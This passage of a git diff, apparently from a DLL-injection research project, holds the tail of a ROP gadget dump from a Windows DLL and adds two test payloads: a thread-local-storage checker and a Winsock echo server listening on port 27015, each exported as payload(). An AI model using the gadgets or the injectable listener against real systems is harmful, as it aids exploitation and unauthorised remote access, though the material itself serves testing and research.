0x8d41; +0x0000000180013c94: ret 0x8d43; +0x0000000180043a8e: ret 0x8d44; +0x00000001800ddc16: ret 0x8d45; +0x00000001800070b2: ret 0x8d48; +0x0000000180018e22: ret 0x8d49; +0x000000018002c1c6: ret 0x8d4a; +0x00000001800acd45: ret 0x8d4b; +0x000000018002c0dd: ret 0x8d4c; +0x0000000180014643: ret 0x8d4d; +0x0000000180059d74: ret 0x8ee8; +0x00000001800cefa3: ret 0x8fe8; +0x000000018001e6d4: ret 0x920f; +0x000000018004a9f9: ret 0x940f; +0x00000001800208fe: ret 0x950f; +0x0000000180038988: ret 0x966; +0x00000001800022f1: ret 0x9680; +0x0000000180005e23: ret 0x975; +0x0000000180008363: ret 0x9d5; +0x0000000180007bf3: ret 0x9da; +0x00000001800069e2: ret 0x9e1; +0x00000001800a8aa1: ret 0x9e9; +0x0000000180002f79: ret 0x9fd; +0x000000018006ba7e: ret 0x9feb; +0x00000001800f9972: ret 0x9fff; +0x00000001800ddbf2: ret 0xa38; +0x000000018005e84d: ret 0xa774; +0x000000018004fec5: ret 0xa7eb; +0x0000000180070331: ret 0xa83; +0x0000000180012b5a: ret 0xa8a; +0x00000001800f2d42: ret 0xa8b; +0x00000001800ee89f: ret 0xa; +0x000000018005e848: ret 0xac74; +0x0000000180072d3d: ret 0xaeeb; +0x000000018001422c: ret 0xafe9; +0x00000001800e92e2: ret 0xb2d; +0x00000001800089af: ret 0xb41; +0x000000018003bb35: ret 0xb49; +0x00000001800e6e42: ret 0xb51; +0x000000018002fb60: ret 0xb60f; +0x0000000180032ba7: ret 0xb672; +0x00000001800133f9: ret 0xb70f; +0x000000018001e26e: ret 0xb725; +0x0000000180071770: ret 0xb77; +0x0000000180023f93: ret 0xb83; +0x0000000180044c1e: ret 0xb841; +0x00000001800171bb: ret 0xb8; +0x00000001800deabc: ret 0xb8a; +0x00000001800678aa: ret 0xb941; +0x000000018009a719: ret 0xb9e9; +0x000000018008923a: ret 0xb; +0x000000018001714f: ret 0xba0f; +0x00000001800a8870: ret 0xba41; +0x00000001800172f2: ret 0xbb41; +0x0000000180088012: ret 0xbe08; +0x0000000180014709: ret 0xbe0f; +0x00000001800cb703: ret 0xbe41; +0x00000001800cf593: ret 0xbe8; +0x00000001800fb491: ret 0xc01c; +0x00000001800e9425: ret 0xc083; +0x00000001800131e4: ret 0xc084; +0x00000001800298f8: ret 0xc085; +0x000000018005703c: ret 0xc0; +0x00000001800e72db: ret 0xc0c1; +0x00000001800ddd98: ret 0xc0ff; +0x00000001800f7d73: ret 0xc123; +0x000000018006a4d2: ret 0xc12b; +0x0000000180084d4c: ret 0xc13b; +0x000000018004f84e: ret 0xc141; +0x0000000180005c38: ret 0xc148; +0x00000001800e0ffd: ret 0xc149; +0x0000000180083314: ret 0xc166; +0x00000001800e71f0: ret 0xc1c1; +0x0000000180078378: ret 0xc1ff; +0x000000018005e0b2: ret 0xc22b; +0x000000018004cd54: ret 0xc23b; +0x0000000180019bad: ret 0xc285; +0x000000018001dee0: ret 0xc28b; +0x000000018002ab76: ret 0xc33b; +0x0000000180073a1d: ret 0xc38b; +0x00000001800a7bc0: ret 0xc3e9; +0x00000001800cc696: ret 0xc3f7; +0x00000001800c5264: ret 0xc46; +0x000000018006a1fe: ret 0xc4a0; +0x00000001800c577d: ret 0xc4c3; +0x00000001800e02a9: ret 0xc5e8; +0x0000000180072d38: ret 0xc5eb; +0x00000001800cb690: ret 0xc642; +0x00000001800d837a: ret 0xc6c; +0x00000001800d3c62: ret 0xc71; +0x000000018002b29d: ret 0xc72; +0x00000001800164f4: ret 0xc72b; +0x00000001800dfc7e: ret 0xc75; +0x00000001800dfda4: ret 0xc77; +0x00000001800abcd4: ret 0xc78b; +0x00000001800d31e2: ret 0xc7a; +0x00000001800b2065: ret 0xc803; +0x000000018005d4eb: ret 0xc874; +0x00000001800aaa05: ret 0xc8a0; +0x00000001800e72a5: ret 0xc8c1; +0x00000001800da29a: ret 0xc91b; +0x00000001800a1abd: ret 0xc933; +0x000000018003608e: ret 0xc9ff; +0x00000001800d46e6: ret 0xc; +0x0000000180076972: ret 0xca8b; +0x0000000180030416: ret 0xcba; +0x00000001800c4047: ret 0xcc66; +0x00000001800299b9: ret 0xccc3; +0x00000001800036fc: ret 0xcccc; +0x0000000180044914: ret 0xcccf; +0x0000000180028e0b: ret 0xcd72; +0x00000001800ccfb2: ret 0xce1; +0x000000018005d716: ret 0xce73; +0x000000018005a8f2: ret 0xce8; +0x000000018006dc6a: ret 0xd03b; +0x00000001800ee269: ret 0xd08b; +0x000000018002078e: ret 0xd141; +0x000000018003c2d9: ret 0xd148; +0x000000018005c34f: ret 0xd149; +0x000000018002d6f1: ret 0xd18b; +0x0000000180016535: ret 0xd233; +0x00000001800d2c5a: ret 0xd27d; +0x0000000180072d98: ret 0xd285; +0x00000001800d6dcc: ret 0xd2e8; +0x00000001800d3d68: ret 0xd38b; +0x0000000180028ddd: ret 0xd73; +0x00000001800ff4bb: ret 0xd772; +0x0000000180090e6d: ret 0xd78b; +0x00000001800f65f0: ret 0xd872; +0x0000000180003819: ret 0xd8f7; +0x0000000180075c27: ret 0xd98b; +0x000000018001aa23: ret 0xd9f7; +0x000000018001ca83: ret 0xda73; +0x0000000180036785: ret 0xda8b; +0x00000001800586f9: ret 0xdb1b; +0x00000001800ba9b7: ret 0xdb8; +0x00000001800c5f58: ret 0xdeb; +0x000000018009991c: ret 0xdfba; +0x0000000180074303: ret 0xdfeb; +0x00000001800f76f5: ret 0xe000; +0x0000000180019053: ret 0xe083; +0x000000018008e79f: ret 0xe0c0; +0x000000018003b3b4: ret 0xe0c1; +0x0000000180031075: ret 0xe0ff; +0x00000001800b5270: ret 0xe181; +0x00000001800f799d: ret 0xe183; +0x00000001800b89ba: ret 0xe22; +0x0000000180013fbb: ret 0xe283; +0x00000001800b84da: ret 0xe28; +0x000000018005e6f0: ret 0xe2eb; +0x000000018001cab9: ret 0xe473; +0x00000001800b6072: ret 0xe4c; +0x00000001800cb4f7: ret 0xe5c1; +0x000000018009e1a8: ret 0xe5e9; +0x0000000180023d1d: ret 0xe5eb; +0x000000018000d151: ret 0xe74; +0x0000000180028f0e: ret 0xe7eb; +0x000000018007154a: ret 0xe802; +0x0000000180023fdf: ret 0xe804; +0x0000000180091c05: ret 0xe808; +0x000000018000ace5: ret 0xe872; +0x0000000180001f0d: ret 0xe876; +0x00000001800fa71d: ret 0xe8; +0x0000000180013f90: ret 0xe8c1; +0x000000018002d6ed: ret 0xe8d1; +0x00000001800880d1: ret 0xe902; +0x0000000180003ae7: ret 0xe904; +0x000000018007c91e: ret 0xe906; +0x000000018006797e: ret 0xe908; +0x0000000180099173: ret 0xe920; +0x0000000180067998: ret 0xe940; +0x000000018005d6e4: ret 0xe972; +0x000000018002427b: ret 0xe9d1; +0x0000000180074fe5: ret 0xe9e9; +0x000000018002abf1: ret 0xe9eb; +0x00000001800ae93b: ret 0xe; +0x00000001800f9433: ret 0xeae8; +0x0000000180043136: ret 0xeaeb; +0x0000000180017293: ret 0xeb02; +0x0000000180067967: ret 0xeb04; +0x0000000180014400: ret 0xece9; +0x000000018002c183: ret 0xee8b; +0x000000018002fa1d: ret 0xeee9; +0x00000001800572f6: ret 0xef7c; +0x000000018005d1a5: ret 0xef83; +0x00000001800ac742: ret 0xef8; +0x00000001800aafba: ret 0xefc; +0x00000001800299af: ret 0xefeb; +0x00000001800405c6: ret 0xf01; +0x00000001800172bc: ret 0xf02; +0x000000018008702f: ret 0xf03; +0x000000018005bedf: ret 0xf04; +0x00000001800778af: ret 0xf07; +0x000000018004a618: ret 0xf08; +0x00000001800092b1: ret 0xf10; +0x0000000180076a6c: ret 0xf172; +0x0000000180008af0: ret 0xf20; +0x00000001800fef8a: ret 0xf24d; +0x00000001800def32: ret 0xf254; +0x00000001800eb6da: ret 0xf33c; +0x00000001800e2aaa: ret 0xf410; +0x0000000180005c85: ret 0xf41; +0x0000000180087e87: ret 0xf44; +0x0000000180004761: ret 0xf45; +0x00000001800441da: ret 0xf46; +0x00000001800acc65: ret 0xf475; +0x000000018002909f: ret 0xf48; +0x00000001800023c0: ret 0xf49; +0x00000001800ecf3a: ret 0xf4b7; +0x0000000180037f5d: ret 0xf4c; +0x00000001800a7592: ret 0xf4d; +0x00000001800585d5: ret 0xf50; +0x00000001800cccda: ret 0xf526; +0x00000001800ab49a: ret 0xf54; +0x00000001800a3483: ret 0xf605; +0x00000001800a3ad6: ret 0xf60b; +0x000000018006ebe8: ret 0xf633; +0x00000001800d79ae: ret 0xf63c; +0x00000001800f2339: ret 0xf641; +0x0000000180034159: ret 0xf66; +0x00000001800a3e76: ret 0xf6dd; +0x000000018006c808: ret 0xf703; +0x0000000180016c85: ret 0xf741; +0x000000018000fa25: ret 0xf748; +0x000000018000c361: ret 0xf74; +0x00000001800bfefd: ret 0xf75; +0x000000018009ba02: ret 0xf766; +0x00000001800d572e: ret 0xf7c2; +0x000000018008f72e: ret 0xf7e1; +0x00000001800a3a6a: ret 0xf83a; +0x0000000180092fea: ret 0xf84c; +0x0000000180093edc: ret 0xf853; +0x00000001800a26c2: ret 0xf85; +0x0000000180094737: ret 0xf873; +0x00000001800948e6: ret 0xf879; +0x00000001800084cc: ret 0xf883; +0x00000001800cf37a: ret 0xf88d; +0x000000018001904e: ret 0xf8c1; +0x000000018005c426: ret 0xf8d1; +0x0000000180097a3c: ret 0xf8f2; +0x0000000180099b0d: ret 0xf948; +0x000000018006d052: ret 0xf976; +0x0000000180079f0c: ret 0xf98b; +0x000000018009b6c6: ret 0xf990; +0x000000018009d5c0: ret 0xf9c2; +0x000000018009fd86: ret 0xf9dd; +0x000000018009e17f: ret 0xf9e6; +0x000000018009ed85: ret 0xf9ff; +0x00000001800a2e55: ret 0xf; +0x0000000180080f1a: ret 0xfa13; +0x000000018009fcb4: ret 0xfa14; +0x00000001800a1162: ret 0xfa33; +0x00000001800a17cd: ret 0xfa3f; +0x00000001800a8114: ret 0xfa83; +0x00000001800c14ca: ret 0xfaa5; +0x00000001800a6ec9: ret 0xfaf7; +0x00000001800a9478: ret 0xfb59; +0x00000001800bd041: ret 0xfb8b; +0x00000001800d383f: ret 0xfba; +0x00000001800a9d5e: ret 0xfbb4; +0x00000001800acaa0: ret 0xfc6c; +0x00000001800acf59: ret 0xfc79; +0x00000001800afb3b: ret 0xfcba; +0x00000001800b0882: ret 0xfcd5; +0x000000018005a2ee: ret 0xfcf8; +0x000000018005a64a: ret 0xfcfa; +0x00000001800b194d: ret 0xfd1c; +0x0000000180049bda: ret 0xfd57; +0x000000018009d12a: ret 0xfdf; +0x000000018000a0ac: ret 0xfe9; +0x000000018005501e: ret 0xfedc; +0x000000018009b574: ret 0xfee9; +0x0000000180012998: ret 0xff02; +0x000000018003a8a2: ret 0xff03; +0x000000018003d06a: ret 0xff11; +0x00000001800e2c16: ret 0xff16; +0x00000001800169a2: ret 0xff3d; +0x000000018002c77b: ret 0xff41; +0x00000001800032c0: ret 0xff48; +0x0000000180057bea: ret 0xff49; +0x0000000180027b36: ret 0xff63; +0x0000000180005c4e: ret 0xff83; +0x000000018002acdf: ret 0xff85; +0x000000018000d609: ret 0xffb9; +0x000000018002ccd6: ret 0xffba; +0x000000018004140e: ret 0xffbe; +0x000000018004a154: ret 0xffc7; +0x00000001800897d2: ret 0xffe2; +0x00000001800fe7a8: ret 0xfff1; +0x00000001800cb09e: ret 0xfff4; +0x00000001800bb079: ret 0xfff5; +0x00000001800be237: ret 0xfff6; +0x000000018008e690: ret 0xfff7; +0x0000000180096b4e: ret 0xfff8; +0x000000018009d5c1: ret 0xfff9; +0x0000000180080372: ret 0xfffa; +0x00000001800f2af0: ret 0xfffb; +0x000000018002aaf7: ret 0xfffc; +0x00000001800282f1: ret 0xfffd; +0x0000000180006d72: ret 0xfffe; +0x0000000180025c03: ret 0xffff; +0x00000001800121c2: ret 1; +0x00000001800011f1: ret 2; +0x000000018000c0ad: ret 3; +0x0000000180030887: ret 4; +0x0000000180018a21: ret 5; +0x00000001800ecf06: ret 6; +0x000000018001635b: ret 7; +0x00000001800a2567: ret 9; +0x0000000180034dff: retf 0x172; ret; +0x0000000180097c0a: retf 0x2b4c; ret; +0x000000018001d82b: retf 0x2b4d; ret 0x4990; +0x0000000180016b04: retf 0x34c; push rcx; adc byte ptr [rcx - 0x75], cl; ret 0x2b48; +0x0000000180087e72: retf 0x3b48; ret 0x460f; +0x000000018005d713: retf 0x3b48; ret 0xce73; +0x0000000180070084: retf 0x3bd; add byte ptr [rax + 1], bh; add rsp, 0x28; ret; +0x00000001800e535e: retf 0x3bff; ret 0x8b45; +0x00000001800ffe32: retf 0x44c6; and al, 0x20; add dword ptr [rax - 0x75], ecx; ret 0xf49; +0x0000000180009f56: retf 0x8348; shl byte ptr [rax], 0x48; add eax, ecx; ret; +0x0000000180090957: retf 0x8349; ret 0x4902; +0x0000000180029d72: retf 0x8366; jg 0x29d79; jl 0x29dee; ret; +0x0000000180056103: retf 0x8948; add eax, 0x205e25; xor eax, eax; add rsp, 0x28; ret; +0x00000001800a6146: retf 0x8b41; adc byte ptr [r8 + 3], r9b; rol bh, 0x44; ret 0x408; +0x00000001800e7278: retf 0x8b41; ret 0x2b41; +0x0000000180009bce: retf 0x8b41; ret 0x348; +0x00000001800e72d8: retf 0x8b41; ret 0xc0c1; +0x00000001800e71ed: retf 0x8b41; ret 0xc1c1; +0x000000018006b9fc: retf 0x8b45; ret 0x8b48; +0x000000018000f9a6: retf 0x8b48; ret 0x854d; +0x000000018002c180: retf 0x8b48; ret 0xee8b; +0x000000018000ecde: retf 0x8b48; ret; +0x000000018008690c: retf 0x8b49; ret 0x8548; +0x00000001800e02a6: retf 0x8b4c; ret 0xc5e8; +0x00000001800f5ac6: retf 0x8b4c; sal edi, 1; ret 0xfff8; +0x000000018000d48a: retf 0x8b4d; ret; +0x0000000180040323: retf 0x8bff; ret 0x34c; +0x0000000180060764: retf 0x8d0f; sub dl, byte ptr [rcx + 0x3b480004]; sar dword ptr [rax + rcx + 0x48], 0x3b; ret 0x37d; +0x00000001800fa648: retf 0xb70f; add cl, byte ptr [rax - 0x7d]; ret 0x6602; +0x00000001800c3773: retf 0xb70f; ret 0xc148; +0x000000018009b9ff: retf 0xb70f; ret 0xf766; +0x00000001800813c9: retf 0xc18b; add rsp, 0x28; ret; +0x000000018008ab84: retf 0xc18b; add rsp, 0x38; ret; +0x0000000180055e12: retf 0xf04; scasd eax, dword ptr [rdi]; ror dword ptr [rax - 0x68], 0x48; add eax, dword ptr [rip + 0x207668]; ret; +0x00000001800cb6ab: retf 0xff41; ret 0x8842; +0x0000000180013bcc: retf; add al, byte ptr [rax]; add byte ptr [rax - 0x7d], cl; ret; +0x00000001800b059b: retf; cld; dec dword ptr [rax - 0x7d]; ret; +0x00000001800855f2: retf; dec dword ptr [rax - 0x75]; ret; +0x0000000180004566: retf; dec dword ptr [rax - 1]; ret; +0x00000001800456cd: retf; ret 5; +0x00000001800d0c8c: retf; sbb byte ptr [rax], al; ret; +0x00000001800ca460: retf; xor dword ptr [rcx], ebx; add byte ptr [rax], al; add rsp, 0x28; ret; +0x000000018008ab83: retfq -0x3e75; add rsp, 0x38; ret; +0x0000000180055e11: retfq 0xf04; scasd eax, dword ptr [rdi]; ror dword ptr [rax - 0x68], 0x48; add eax, dword ptr [rip + 0x207668]; ret; +0x00000001800818e1: xchg eax, esp; adc dword ptr [rax], eax; nop dword ptr [rax + rax]; add rsp, 0x58; ret; +0x00000001800575cc: xchg eax, esp; add byte ptr [rax], al; add byte ptr [rax - 0x7d], cl; ret; +0x0000000180090918: xchg eax, esp; add byte ptr [rax], al; add byte ptr [rbp - 0x75], cl; ret; +0x0000000180090c87: xchg eax, esp; add byte ptr [rax], al; add byte ptr [rbx + rcx*4 + 0x43], al; or byte ptr [rbx], ch; ret; +0x000000018004862c: xchg eax, esp; and al, 0x18; add dword ptr [rax], eax; add byte ptr [rax - 0x7d], cl; ret 0x4850; +0x0000000180047a23: xchg eax, esp; and al, 0x70; add dword ptr [rax], eax; add byte ptr [rax - 0x7f], cl; ret 0x2d8; +0x000000018001e266: xchg eax, esp; and al, 0x88; add byte ptr [rax], al; add byte ptr [rcx - 0x75], al; ret 0xb725; +0x000000018004e6a1: xchg eax, esp; and al, 0xb8; add dword ptr [rax], eax; add dh, dh; ret 0x7510; +0x000000018005008a: xchg eax, esp; and al, 0xd0; add byte ptr [rax], al; add byte ptr [rax - 0x7d], cl; ret 0x4430; +0x00000001800a51b0: xchg eax, esp; ret 0x18; +0x00000001800084e0: xchg eax, esp; ret 0x19e8; +0x0000000180029ff3: xchg eax, esp; ret 0x1ae8; +0x000000018009e1a4: xchg eax, esp; ret 0x8b41; +0x00000001800cc695: xchg eax, esp; ret 0xc3f7; +0x000000018006a1fd: xchg eax, esp; ret 0xc4a0; +0x00000001800aaa04: xchg eax, esp; ret 0xc8a0; +0x00000001800f5039: xchg eax, esp; ret 0xff48; +0x0000000180006985: xchg eax, esp; ret; +0x000000018001293c: xchg eax, esp; ror byte ptr [rax - 0x75], 0x5c; and al, 0x30; add rsp, 0x20; pop rdi; ret; +0x000000018008b8c7: xchg eax, esp; ror byte ptr [rax - 0x7d], 0xc4; pop rbp; ret; +0x000000018003f382: xchg eax, esp; ror dword ptr [rax - 0x3b7cb7f5], 0x30; pop rbx; ret; +0x000000018008b125: xchg eax, esp; ror dword ptr [rbx - 0x3b7cb73f], 0x20; pop rbp; ret; +0x00000001800cdadb: xchg eax, esp; ror dword ptr [rbx - 0x3b7cb73f], 0x28; ret; +0x000000018008b14b: xchg eax, esp; ror dword ptr [rbx - 0x3b7cb73f], 0x30; pop rbp; ret; +0x00000001800ffe59: xchg eax, esp; ror dword ptr [rbx - 0x3b7cb73f], 0x38; ret; +0x000000018008bcb2: xchg eax, esp; ror dword ptr [rbx - 0x3b7cb73f], 0x60; pop rbp; ret; +0x000000018001b869: xchg eax, esp; ror dword ptr [rcx - 0x3b7cb7f5], 0x20; pop rbx; ret; +0x000000018005e702: xchg edi, esp; add byte ptr [rax], al; add byte ptr [rbx - 0x7bf0f803], al; ret 0x4a9; +0x00000001800101dd: xchg esp, edx; and al, 0; ret; + +811 gadgets found diff --git a/injectionPayloads/tls.cpp b/injectionPayloads/tls.cpp new file mode 100644 index 0000000..8d5ce1a --- /dev/null +++ b/injectionPayloads/tls.cpp @@ -0,0 +1,42 @@ +#include + +__thread unsigned int TLSGlobal = 0; +bool failed; +void threadEntry() +{ + unsigned int localVar = 0; + + for(unsigned int n=0; n<10000000; n++) + { + TLSGlobal++; + localVar++; + } + + if (localVar != TLSGlobal) + failed = TRUE; +} + +__declspec(dllexport) void payload() +{ + failed = FALSE; + + DWORD threadIDs[10]; + HANDLE threadHandles[10]; + + for(unsigned int n=0; n<10; n++) + threadHandles[n] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)threadEntry, 0, 0, &threadIDs[n]); + + for(unsigned int n=0; n<10; n++) + WaitForSingleObject(threadHandles[n], INFINITE); + + if (failed) + MessageBoxA(0, "Incorrect", "Results", 0); + else + MessageBoxA(0, "Correct", "Results", 0); +} + +int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) +{ + payload(); + return 0; +} diff --git a/injectionPayloads/tls.dll b/injectionPayloads/tls.dll new file mode 100644 index 0000000..6d1d126 Binary files /dev/null and b/injectionPayloads/tls.dll differ diff --git a/injectionPayloads/winsock.cpp b/injectionPayloads/winsock.cpp new file mode 100644 index 0000000..bb32fdf --- /dev/null +++ b/injectionPayloads/winsock.cpp @@ -0,0 +1,146 @@ +#undef UNICODE + +#define WIN32_LEAN_AND_MEAN + +#include +#include +#include +#include +#include + +// Need to link with Ws2_32.lib +#pragma comment (lib, "Ws2_32.lib") +// #pragma comment (lib, "Mswsock.lib") + +#define DEFAULT_BUFLEN 512 +#define DEFAULT_PORT "27015" + +int __cdecl fff(void); + +__declspec(dllexport) void payload() +{ + ExitThread(fff()); +} + +int __cdecl fff(void) +{ + WSADATA wsaData; + int iResult; + + SOCKET ListenSocket = INVALID_SOCKET; + SOCKET ClientSocket = INVALID_SOCKET; + + struct addrinfo *result = NULL; + struct addrinfo hints; + + int iSendResult; + char recvbuf[DEFAULT_BUFLEN]; + int recvbuflen = DEFAULT_BUFLEN; + + // Initialize Winsock + iResult = WSAStartup(MAKEWORD(2,2), &wsaData); + if (iResult != 0) { + // printf("WSAStartup failed with error: %d\n", iResult); + return 1; + } + + ZeroMemory(&hints, sizeof(hints)); + hints.ai_family = AF_INET; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + hints.ai_flags = AI_PASSIVE; + + // Resolve the server address and port + iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result); + if ( iResult != 0 ) { + // printf("getaddrinfo failed with error: %d\n", iResult); + WSACleanup(); + return 1; + } + + // Create a SOCKET for connecting to server + ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); + if (ListenSocket == INVALID_SOCKET) { + // printf("socket failed with error: %ld\n", WSAGetLastError()); + freeaddrinfo(result); + WSACleanup(); + return 1; + } + + // Setup the TCP listening socket + iResult = bind( ListenSocket, result->ai_addr, (int)result->ai_addrlen); + if (iResult == SOCKET_ERROR) { + // printf("bind failed with error: %d\n", WSAGetLastError()); + freeaddrinfo(result); + closesocket(ListenSocket); + WSACleanup(); + return 1; + } + + freeaddrinfo(result); + + iResult = listen(ListenSocket, SOMAXCONN); + if (iResult == SOCKET_ERROR) { + // printf("listen failed with error: %d\n", WSAGetLastError()); + closesocket(ListenSocket); + WSACleanup(); + return 1; + } + + // Accept a client socket + ClientSocket = accept(ListenSocket, NULL, NULL); + if (ClientSocket == INVALID_SOCKET) { + // printf("accept failed with error: %d\n", WSAGetLastError()); + closesocket(ListenSocket); + WSACleanup(); + return 1; + } + + // No longer need server socket + closesocket(ListenSocket); + + // Receive until the peer shuts down the connection + do { + + iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); + if (iResult > 0) { + // printf("Bytes received: %d\n", iResult); + + // Echo the buffer back to the sender + iSendResult = send( ClientSocket, recvbuf, iResult, 0 ); + if (iSendResult == SOCKET_ERROR) { + // printf("send failed with error: %d\n", WSAGetLastError()); + closesocket(ClientSocket); + WSACleanup(); + return 1; + } + // printf("Bytes sent: %d\n", iSendResult); + } + else if (iResult == 0) + { + // printf("Connection closing...\n"); + } + else { + // printf("recv failed with error: %d\n", WSAGetLastError()); + closesocket(ClientSocket); + WSACleanup(); + return 1; + } + + } while (iResult > 0); + + // shutdown the connection since we're done + iResult = shutdown(ClientSocket, SD_SEND); + if (iResult == SOCKET_ERROR) { + // printf("shutdown failed with error: %d\n", WSAGetLastError()); + closesocket(ClientSocket); + WSACleanup(); + return 1; + } + + // cleanup + closesocket(ClientSocket); + WSACleanup(); + + return 0; +} \ No newline at end of file diff --git a/injectionPayloads/winsock.dll b/injectionPayloads/winsock.dll new file mode 100644 index 0000000..3a51955 Binary files /dev/null and b/injectionPayloads/winsock.dll differ